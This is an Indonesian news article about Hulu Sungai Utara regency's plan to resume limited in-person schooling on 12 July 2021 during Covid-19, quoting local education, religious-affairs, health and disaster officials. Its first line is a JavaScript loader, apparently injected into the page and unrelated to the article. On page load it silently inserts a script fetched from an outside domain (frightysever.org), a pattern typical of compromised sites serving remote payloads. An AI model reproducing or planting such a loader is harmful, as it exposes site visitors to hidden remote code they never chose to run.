(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, AMUNTAI – Pemerintah Kabupaten Hulu Sungai Utara (HSU) melalui Dinas Pendidikan, memastikan opsi untuk melaksanakan pembelajaran tatap muka terbatas (PTMT) mulai Senin (12/7/2021).
Kepastian itu diungkapkan Plt Kepala Dinas Pendidikan dan Kebudayaan (Disdikbud) HSU, H. Junaidi Gunawan saat menjadi pembicara bersama Kepala Kantor Kementerian Agama, Kepala Dinas Kesehatan dan Kepala Badan Penanggulangan Bencana Daerah (BPBD) HSU dalam dialog interaktif dengan masyarakat melalui TV Kominfo, aplikasi zoom dan youtube Dinas Kominfo HSU, Sabtu (11/7/2021) malam.
“Setelah lebih dari 1 tahun tidak melaksanakan sekolah tatap muka, dengan akan dilaksanannya PTMT pada 12 Juli ini, tentunya adalah keinginan masyarakat yang cukup besar dimana kegiatan yang sebelumnya dilaksanakan secara daring akan dilakukan secara tatap muka terbatas. Ini karena pembelajaran daring dianggap kurang efektif dan efesien bagi anak-anak didik,” terang Junaidi.
Lebih lanjut, Junaidi menjelaskan Disdikbud HSU selama ini telah melaksanakan serangkaian rapat koordinasi dengan lintas terkait sebelum melaksanakan PTMT.
Plt Kepala Disdikbud HSU H Junaidi
Menurutnya, hal ini mengacu kepada edaran Kementerian Pendidikan Kebudayan Riset dan Teknologi, Menteri Agama, Menteri Dalam Negeri, dan Menteri Kesehatan, yang telah menandatangani Surat Keputusan Bersama (SKB) Empat Menteri tentang sekolah tatap muka terbatas.
Baca juga: UPDATE. Kebakaran di Gang Family Hanguskan 4 Rumah, 2 Relawan Pemadam Terluka Saat Evakuasi
SKB tersebut menyatakan pada tahun ajaran baru 2021-2022 pada bulan Juli sekolah diberikan opsi untuk melaksanakan pembelajaran tatap muka Terbatas (PTMT).
Kendati dibayangi melonjaknya kasus Covid-19 dan penebalan peraturan pembatasan kegiatan masyarakat (PPKM), namun SKB Empat Menteri tersebut diperkuat dengan Instruksi Menteri Dalam Negeri Nomor 14 Tahun 2021 yang menyebutkan daerah zona hijau, kuning, dan jingga, dapat menerapkan pembelajaran PTM Terbatas tersebut.
Sementara pada zona merah wajib menyelenggarakan pembelajaran jarak jauh (PJJ) secara daring.
Seiring dengan itu, Kepala KanKemenag HSU, H. Ahmad Rusyadi juga memastikan PTMT yang akan dilaksanakan pada 12 Juli besok tentunya harus sesuai dengan aturan yang berlaku guna pencegahan Covid-19.
“Sekolah yang bisa melaksanakan PTMT ini tentunya sekolah-sekolah yang sudah mendapatkan izin dari gugus tugas penanganan Covid-19 di HSU dan semua tenaga pendidik disekolah sudah menerima vaksin sebanyak 2 kali,” katanya.
Sementara itu, Kepala BPBD HSU sekaligus Ketua harian Satgas Covid-19 Kabupaten HSU, Sugeng Riyadi mengatakan sampai sejauh ini satgas penanganan Covid-19 HSU telah berusaha dan berjuang semaksimal mungkin agar dapat terlaksananya PTMT.
“Sesuai dengan SKB 4 menteri yang mana wilayah zona kuning dapat melaksanakan PTMT, dan perlu di ingat pembelajaran akan dilaksanakan dengan aturan-aturan atau teknis yang berbeda dibandingkan pembelajaran normal, sesuai dengan perda nomer 8 tahun 2021 yang mana setiap sekolah yang melaksanakan PTMT harus mendapat izin dari Ketua Satgas Covid HSU dalam hal ini Bupati HSU,” terangnya.
Izin tersebut, lanjut Sugeng dapat didapatkan tentunya dengan verifikasi serta kunjungan pada sekolah yang diusulkan atau berminat melaksanakan PTMT ini layak diberikan rekomendasi atau tidak.
Baca juga: UPDATE. Positif Covid-19 Banjarbaru Hari Ini Tambah 82 Orang
Ia juga mengingatkan perlunya kerjasama semua pihak agar bisa bahu membahu memperjuangkan agar HSU segera pulih dan normal kembali dan terbebas dari Covid-19.
Hal yang sama juga diungkapkan Plt Kepala Dinas Kesehatan (Dinkes) HSU, H. Danu F Fotohena yang menyebut pihaknya menilai sudah tidak ada masalah lagi terkait kesiapan sekolah-sekolah yang bakal menerapkan PTMT.
Danu menyebut saat ini, ada 3 kabupaten di Kalimantan Selatan yang berada dizona kuning, salah satunya adalah HSU, yang mana zona kuning ini dapat diartikan sebagai wilayah yang penularannya rendah, hal ini tidak terlepas dari cepatnya penanganan jika ditemui kasus positif.
“Terkait akan dilaksanakannya PTMT, walaupun tetap ada resiko tetapi kita yakin bahwa dengan kondisi covid di HSU yang sudah lumayan terkendali dan dukungan dari berbagai pihak yang benar-benar menerapkan protokol kesehatan pada pelaksanaan PTMT, dan ini sesuai dengan arahan bapak Bupati HSU bahwa pelaksanaan PTMT tetap dilaksanakan dengan adanya beberapa modifikasi,” imbuhnya.
“PTMT ini kita modifikasi atau kita sesuaikan dengan PPKM Mikro yang awalnya mengarah ke kelurahan dan desa, namun metode atau konsep PPKM Mikro ini dimodifikasi untuk diterapkan pada pelaksanaan PTMT ini,” pungkasnya
(kanalkalimantan.com/dew)
Reporter: dew
Editor: cell
KANALKALIMANTAN.COM, MARTAPURA - Ikatan Mahasiswa Banjarmasin (Ikmaban) menyalurkan bantuan kepada warga terdampak banjir di Desa… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob atau banjir pasang pesisir yang melanda kawasan Sungai Gampa, Kelurahan… Read More
KANALKALIMANTAN.COM, BANJARBARU - Gubernur Kalimantan Selatan (Kalsel), H Muhidin, instruksikan seluruh Kepala Satuan Kerja Perangkat… Read More
KANALKALIMANTAN.COM, BANJARMASIN — Banjir yang menggenangi Jalan Kelayan Besar, RT 04, Kelurahan Tanjung Pagar, Kecamatan… Read More
KANALKALIMANTAN.COM, BANJARBARU – Peringatan Isra Mikraj Nabi Besar Muhammad SAW 1447 Hijriah, di aula kantor… Read More
KANALKALIMANTAN.COM, BANJARMASIN — Wali Kota Banjarmasin, H Muhammad Yamin HR meninjau titik banjir rob upaya… Read More
This website uses cookies.